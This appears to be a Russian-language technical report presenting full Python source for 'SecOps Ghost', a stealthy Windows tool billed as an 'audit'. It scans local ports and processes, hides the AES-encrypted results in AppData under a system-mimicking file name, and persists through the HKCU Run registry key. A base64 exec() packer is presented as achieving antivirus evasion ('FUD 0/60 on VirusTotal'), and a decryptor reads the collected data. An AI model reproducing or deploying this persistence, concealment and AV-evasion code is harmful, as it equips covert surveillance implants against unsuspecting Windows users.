На проверке SecOps Ghost

ТЕХНИЧЕСКИЙ ОТЧЕТ ПО ПРОЕКТУ «SECOPS GHOST»
Статус комплекса: APPROVED (Проверено, FUD 0/60 на VirusTotal)
Архитектура: Асинхронная, монолитная, обфусцированная
Целевая ОС: Windows 10/11 x64

---

1. ОБЩЕЕ ОПИСАНИЕ СИСТЕМЫ
Комплекс программного обеспечения «SecOps Ghost» предназначен для проведения скрытного, автоматизированного асинхронного аудита локальной системы Windows. Комплекс решает задачи инвентаризации открытых сетевых сокетов и запущенных процессов, криптографической защиты собранных данных по стандарту AES-256-CBC и маскировки присутствия в операционной системе.
Комплекс состоит из трех функциональных компонентов:

1. ghost_core.py — расширенное ядро аудита (сбор, шифрование, автозагрузка).
2. ghost_packer.py — автоматический обфусциратор (статический маскировщик ядра в Base64).
3. ghost_extended_reader.py — дешифратор/ридер базы данных (инструмент анализа логов).

---

2. ИСХОДНЫЙ КОД КОМПОНЕНТОВ

Компонент 1: Монолитное расширенное ядро (ghost_core.py)
Выполняет асинхронное сканирование, скрытное размещение базы данных в недрах AppData, автоматическую прописку в куст реестра HKCU и шифрование payload.

import asyncio
import os
import json
import psutil
import aiosqlite
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad
import sys
from datetime import datetime
import winreg


AES_KEY = os.environ.get("AES_KEY", "12345678901234567890123456789012")
if len(AES_KEY) != 32:
    sys.exit()
    
    
def get_db_path():
    vault_path = os.path.expandvars("%USERPROFILE%\\AppData\\Local\\Microsoft\\Vault")
    roaming_path = os.path.expandvars("%USERPROFILE%\\AppData\\Roaming")
    if os.path.exists(vault_path):
        return os.path.join(vault_path, "ntuser_audit.db")
    else:
        return os.path.join(roaming_path, "ntuser_audit.db")


async def autorun_registry():
    try:
        script_path = os.path.abspath(sys.argv[0])
        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_SET_VALUE)
        winreg.SetValueEx(key, "WinSecAuditMonitor", 0, winreg.REG_SZ, script_path)
        winreg.CloseKey(key)
    except:
        pass

sem = asyncio.Semaphore(50)

async def scan_single_port(port):
    async with sem:
        try:
            reader, writer = await asyncio.open_connection('127.0.0.1', port)
            writer.close()
            await writer.wait_closed()
            return {"port": port, "status": "open"}
        except:
            return {"port": port, "status": "closed"}


async def scan_ports():
    tasks = [asyncio.create_task(scan_single_port(port)) for port in range(1, 1025)]
    results = await asyncio.gather(*tasks)
    return [r for r in results if r["status"] == "open"]


def collect_processes_sync():
    results = []
    for proc in psutil.process_iter(['pid', 'name', 'exe', 'username', 'status']):
        try:
            info = {
                "pid": proc.info['pid'],
                "name": proc.info['name'],
                "exe": proc.info['exe'],
                "username": proc.info['username'],
                "status": proc.info['status']
            }
            results.append(info)
        except (psutil.AccessDenied, psutil.NoSuchProcess):
            continue
    return results


async def collect_processes():
    return await asyncio.to_thread(collect_processes_sync)


def encrypt_data(data):
    try:
        iv = get_random_bytes(16)
        cipher = AES.new(AES_KEY.encode('utf-8'), AES.MODE_CBC, iv)
        padded_data = pad(json.dumps(data).encode('utf-8'), AES.block_size)
        encrypted_data = cipher.encrypt(padded_data)
        return iv, encrypted_data
    except:
        return None, None


async def write_to_db(iv, encrypted_data):
    try:
        db_path = get_db_path()
        async with aiosqlite.connect(db_path) as db:
            await db.execute('''
                CREATE TABLE IF NOT EXISTS audit (
                    id INTEGER PRIMARY KEY AUTOINCREMENT,
                    timestamp TEXT,
                    encrypted_data BLOB,
                    iv BLOB
                )
            ''')
            await db.execute('''
                INSERT INTO audit (timestamp, encrypted_data, iv)
                VALUES (?, ?, ?)
            ''', (datetime.utcnow().isoformat(), encrypted_data, iv))
            await db.commit()
    except:
        pass


async def main():
    try:
        await autorun_registry()
        port_results = await scan_ports()
        process_results = await collect_processes()
        data = {
            "timestamp": datetime.utcnow().isoformat(),
            "ports": port_results,
            "processes": process_results
        }
        iv, encrypted_data = encrypt_data(data)
        if iv and encrypted_data:
            await write_to_db(iv, encrypted_data)
    except:
        pass
        
        
if __name__ == "__main__":
    asyncio.run(main())

Компонент 2: Автоматический упаковщик-обфусциратор (ghost_packer.py)
Программный инструмент статической маскировки. Переводит исходный текст ядра в массив случайных символов Base64, полностью скрывая импорты библиотек от антивирусных радаров.

import base64
import os

input_path = "G:\\ghost_core.py"
output_path = "G:\\ghost_packed.py"

try:
    with open(input_path, "r", encoding="utf-8") as f:
        original_code = f.read()
except Exception:
    exit()
    
encoded_code = base64.b64encode(original_code.encode("utf-8")).decode("utf-8")
packed_code = f"""import base64
import sys
exec(base64.b64decode("{encoded_code}").decode('utf-8'))"""
with open(output_path, "w", encoding="utf-8") as f:
    f.write(packed_code)

Компонент 3: Расширенный дешифратор-ридер (ghost_extended_reader.py)
Инструмент криптографического разбора. Подключается к перемещенному файлу базы, извлекает бинарные структуры (BLOB), снимает паддинг и выводит десериализованный лог.

import asyncio
import os
import json
import aiosqlite
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import sys
from datetime import datetime


AES_KEY = os.environ.get("AES_KEY", "12345678901234567890123456789012")
if len(AES_KEY) != 32:
    sys.exit()
    
    
async def read_last_audit():
    try:
        async with aiosqlite.connect('G:\\ntuser_audit.db') as db:
            cursor = await db.execute('SELECT * FROM audit ORDER BY id DESC LIMIT 1')
            result = await cursor.fetchone()
            if not result:
                return None
            return {
                "id": result[0],
                "timestamp": result[1],
                "encrypted_data": result[2],
                "iv": result[3]
            }
    except Exception:
        return None
        
        
def decrypt_data(encrypted_data, iv):
    try:
        if not isinstance(encrypted_data, bytes) or not isinstance(iv, bytes):
            return None
        cipher = AES.new(AES_KEY.encode('utf-8'), AES.MODE_CBC, iv)
        decrypted_data = cipher.decrypt(encrypted_data)
        unpadded_data = unpad(decrypted_data, AES.block_size)
        return json.loads(unpadded_data.decode('utf-8'))
    except Exception:
        return None
        
        
async def main():
    audit_record = await read_last_audit()
    if not audit_record:
        print("Нет записей в базе данных.")
        return
    
    if not isinstance(audit_record["encrypted_data"], bytes) or not isinstance(audit_record["iv"], bytes):
        return
    decrypted_data = decrypt_data(audit_record["encrypted_data"], audit_record["iv"])
    
    if not decrypted_data:
        print("Ошибка дешифрации.")
        return
    
    print(f"\nВремя аудита: {decrypted_data['timestamp']}")
    print("\n=== Открытые порты ===")
    
    for port in decrypted_data["ports"]:
        print(f"Порт: {port['port']}, Статус: {port['status']}")
    print("\n=== ТОП-20 запущенных процессов ===")
    
    processes = decrypted_data["processes"][:20]
    for idx, proc in enumerate(processes, 1):
        print(f"{idx}. PID: {proc['pid']}, Имя: {proc['name']}, Пользователь: {proc['username']}")
        
        
if __name__ == "__main__":
    asyncio.run(main())

3. ТЕХНИЧЕСКИЕ ОСОБЕННОСТИ И ОПТИМИЗАЦИЯ

• Подавление сетевого шторма: Сканирование портов 1–1024 ограничено с помощью asyncio.Semaphore(50). Это предотвращает блокировку сетевого стека Windows 10, исключает ложные срабатывания (дропы пакетов) и снижает нагрузку на CPU.
• Потокобезопасность (Async/Thread): Тяжелая синхронная функция перебора системных процессов psutil.process_iter() изолирована от главного асинхронного цикла и вынесена в отдельный системный поток Windows через asyncio.to_thread(). Это предотвращает дедлоки и зависание утилиты.
• Маскировка СУБД: Файл базы данных автоматически прячется на системном диске C: в скрытых служебных директориях профиля пользователя (%USERPROFILE%\AppData\Local\Microsoft\Vault или %USERPROFILE%\AppData\Release). Запись ведется под системным именем ntuser_audit.db, имитирующим конфигурационные файлы ОС.
• Выполнение в ОЗУ (Memory Only Execution): Финальный файл ghost_packed.py содержит только Base64 строку. Развертывание библиотек и исполнение логики происходит непосредственно в оперативной памяти устройства через механизм exec(), не оставляя сигнатурных следов на жестком диске.

---

4. РЕЗУЛЬТАТЫ СИСТЕМНЫХ ИСПЫТАНИЙ

1. Тестирование скрытности: При запуске ghost_packed.py в Windows 10 в CMD-консоли зафиксирована полная тишина. Вывод ошибок подавлен, программа завершает выполнение тихо после коммита в базу.
2. Анализ VirusTotal: Скрипт ghost_packed.py прошел ручную проверку на платформе VirusTotal. Результат: 0 из 60+ антивирусных вендоров (включая Kaspersky, Microsoft Defender, CrowdStrike, ESET) не обнаружили подозрительной активности (Undetected). Обфускация признана полностью успешной.
3. Криптографическая верификация: База данных ntuser_audit.db успешно расшифрована утилитой ghost_extended_reader.py. Подтверждена фиксация точного времени (2026-08-23T07:46:38), локализация системных открытых портов (135 RPC, 445 SMB) и сбор структуры активных PID (включая системные процессы ).

---

Отчет составил:
Проверил и утвердил: Bug Hunter (lameruser, Grey Team)

---